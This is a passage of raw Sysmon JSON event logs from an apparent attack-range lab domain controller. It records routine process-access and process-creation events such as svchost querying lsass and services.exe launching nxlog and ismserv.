C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1082,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1083,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1084,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1085,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1086,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1087,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.294\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010320F0200}\r\nProcessId: 2504\r\nImage: C:\\Program Files (x86)\\nxlog\\nxlog.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files (x86)\\nxlog\\nxlog.exe\" -c \"C:\\Program Files (x86)\\nxlog\\conf\\nxlog.conf\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=EDE0FA11A10EF649A05AC992D0231673,SHA256=B66FA8592904D8502747C78C79D5B3E86C9ED7383A8159209BB2740BB92070EC,IMPHASH=517158273EC1C6D5E65120E91DD2284A\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.294","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010320F0200}","Image":"C:\\Program Files (x86)\\nxlog\\nxlog.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files (x86)\\nxlog\\nxlog.exe\" -c \"C:\\Program Files (x86)\\nxlog\\conf\\nxlog.conf\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=EDE0FA11A10EF649A05AC992D0231673,SHA256=B66FA8592904D8502747C78C79D5B3E86C9ED7383A8159209BB2740BB92070EC,IMPHASH=517158273EC1C6D5E65120E91DD2284A","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1088,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1108\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010320F0200}\r\nTargetProcessId: 2504\r\nTargetImage: C:\\Program Files (x86)\\nxlog\\nxlog.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1108","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010320F0200}","TargetProcessId":"2504","TargetImage":"C:\\Program Files (x86)\\nxlog\\nxlog.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1089,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.294\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00103B0F0200}\r\nProcessId: 2700\r\nImage: C:\\Windows\\System32\\ismserv.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows NT Intersite Messaging Service\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: ismserv.exe\r\nCommandLine: C:\\Windows\\System32\\ismserv.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=39F0EC2CAE7FF38BABDDE2252ACCEA67,SHA256=29BDF4D2040D24E02B830A272D02CF29F19FD4E1A0F54F22BCC76301A0BFD26F,IMPHASH=088F7CD1DAA87B8E05239EDAB00479BB\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.294","ProcessGuid":"{90617006-3FE4-5F2D-0000-00103B0F0200}","Image":"C:\\Windows\\System32\\ismserv.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows NT Intersite Messaging Service","Product":"Microsoft® Windows® Operating System","Company":"Microsoft 